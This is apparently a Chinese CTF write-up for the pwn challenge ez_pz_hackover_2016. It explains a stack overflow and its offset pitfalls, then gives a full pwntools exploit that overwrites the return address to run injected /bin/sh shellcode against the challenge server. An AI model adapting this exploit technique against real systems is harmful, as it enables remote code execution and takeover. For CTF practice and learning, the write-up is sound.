pwn | ez_pz_hackover_2016
x86
checksec:
基本上逻辑是这样的:
漏洞函数是一个栈溢出:
这里有一个坑,传进vul函数的是input字符串的地址的地址,不是input字符串的地址,所以memcpy的时候复制的内容不是从input字符串的开头开始的:
这样返回地址是不对的,是我们输入的垃圾数据,所以需要重新调整偏移:
调整的偏移就是-28就可以了,可以完成劫持:
因为没有开启nx保护,所以可以直接写shellcode然后跳转过去,栈的地址在一开始就给了(我居然没有看到然后倒腾了半天QAQ):
那就在程序的一开头加一个接收就行了
这里有一个坑:我本来准备直接跳原来的栈的,结果忘了memcpy给原来的栈也覆盖掉了,所以只能算新栈的偏移:
exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# p = process('./ez_pz_hackover_2016')
p = remote('node4.buuoj.cn', 27783)
p_main = 0x080486E2
p_header = 0x0804856B
p.recvuntil('Yippie, lets crash: ')
input_addr = int(p.recv(10), 16)
shellcode = asm(shellcraft.sh())
# p_shellcode = input_addr + 26 + 4 # not available because of memcpy
p_shellcode = input_addr - 32 + 4 # ok
p.recvuntil('name?\n')
# crashme + rubbish + retaddr
payload = b'crashme\x00'.ljust( (0x32+4 -28 -1),b'M' )+b'Q' + p32(p_shellcode) + shellcode
input('?')
p.sendline(payload)
p.recvuntil('!\n')
p.interactive()
标签:pz,hackover,ez,pwn,input,2016,shellcode
From: https://www.cnblogs.com/Mz1-rc/p/17023122.html